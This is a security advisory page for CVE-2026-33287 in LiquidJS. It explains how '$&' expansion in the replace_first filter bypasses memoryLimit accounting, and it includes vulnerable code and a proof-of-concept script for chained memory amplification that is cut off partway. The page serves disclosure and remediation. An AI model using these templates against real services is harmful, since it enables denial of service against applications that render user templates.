A AegiFlow
HIGHCVSS 7.5EPSS 0.5%

CVE-2026-33287

LiquidJS has Exponential Memory Amplification through its replace_first Filter $& Pattern

Published
2026-03-25
Modified
2026-10-29
EPSS percentile
41%
Aliases
GHSA-6q5m-63h6-5x4v
Sources
github-advisory

Summary

### Summary The `replace_first` filter in LiquidJS uses JavaScript's `String.prototype.replace()` which interprets `$&` as a backreference to the matched substring. The filter only charges `memoryLimit` for the input string length, not the amplified output. An attacker can achieve exponential memory amplification (up to 625,000:1) while staying within the `memoryLimit` budget, leading to denial of service. ### Details The `replace_first` filter in `src/builtin/filters/string.ts:130-133` delegates to JavaScript's native `String.prototype.replace()`. This native method interprets special replacement patterns including `$&` (insert the matched substring), `$'` (insert the portion after the match), and `` $` `` (insert the portion before the match). The filter calls `memoryLimit.use(str.length)` to account for the **input** string's memory cost, but the **output** string — potentially many times larger due to `$&` expansion — is never charged against the memory limit. An attacker can build a 1MB string (within `memoryLimit` budget), then use `replace_first` with a replacement string containing 50 repetitions of `$&`. Each `$&` expands to the full matched string (1MB), producing a 50MB output that is not charged to the memory counter. By chaining this technique across multiple variable assignments, exponential amplification is achieved: | Stage | Input Size | `$&` Repetitions | Output Size | Cumulative `memoryLimit` Charge | |-------|-----------|-------------------|-------------|-------------------------------| | 1 | 1 byte | 50 | 50 bytes | ~1 byte | | 2 | 50 bytes | 50 | 2,500 bytes | ~51 bytes | | 3 | 2,500 bytes | 50 | 125 KB | ~2.6 KB | | 4 | 125 KB | 50 | 6.25 MB | ~128 KB | | 5 | 6.25 MB | 50 | 312.5 MB | ~6.38 MB | **Total amplification factor: ~625,000:1** (312.5 MB output vs. ~6.38 MB charged to `memoryLimit`). Notably, the sibling `replace` filter uses `str.split(pattern).join(replacement)`, which treats `$&` as a literal string and is therefore not vulnerable. The `replace_last` filter uses manual substring operations and is also safe. Only `replace_first` is affected. ```typescript // src/builtin/filters/string.ts:130-133 — VULNERABLE export function replace_first (v: string, arg1: string, arg2: string) { const str = stringify(v) this.context.memoryLimit.use(str.length) // Only charges input return str.replace(stringify(arg1), arg2) // $& expansion uncharged! } // src/builtin/filters/string.ts:125-129 — SAFE (for comparison) export function replace (v: string, arg1: string, arg2: string) { const str = stringify(v) this.context.memoryLimit.use(str.length) return str.split(stringify(arg1)).join(arg2) // split/join: $& treated as literal } ``` ### PoC **Prerequisites**: - `npm install [email protected]` - An application that renders user-provided Liquid templates (CMS, newsletter editor, SaaS platform, etc.) Save the following as `poc_replace_first_amplification.js` and run with `node poc_replace_first_amplification.js`: ```javascript const { Liquid } = require('liquidjs'); (async () => { const engine = new Liquid({ memoryLimit: 1e8 }); // 100MB limit // Step 1 — Verify $& expansion in replace_first console.log('=== Step 1: $& expansion in replace_first ==='); const step1 = '{{ "HELLO" | replace_first: "HELLO", "$&-$&-$&" }}'; console.log('Result:', await engine.parseAndRender(step1)); // Output: "HELLO-HELLO-HELLO" — $& expanded to matched string // Step 2 — Verify replace (split/join) is safe console.log('\n=== Step 2: replace is safe ==='); const step2 = '{{ "ABCDE" | replace: "ABCDE", "$&$&$&" }}'; console.log('Result:', await engine.parseAndRender(step2)); // Output: "$&$&$&" — $& treated as literal // Step 3 — 5-stage exponential amplification (50x per stage) console.log('\n=== Step 3: Exponential amplification (625,000:1) ==='); const amp50 = '$&'.repeat(50); const step3 = [ '{% assign s = "A" %}', '{% assign s = s | replace_first: s, "' + amp50 +

Affected packages

EcosystemPackageAffected versionsFixed versions
npmliquidjs—10.25.1

Remediation: Upgrade to 10.25.1 or later.

References

Includes data from the GitHub Advisory Database, licensed under CC-BY 4.0.

CVE® is a registered trademark of The MITRE Corporation. CVE content reproduced under the CVE Terms of Use; copyright designation © MITRE.

EPSS scores provided by the FIRST.org Exploit Prediction Scoring System.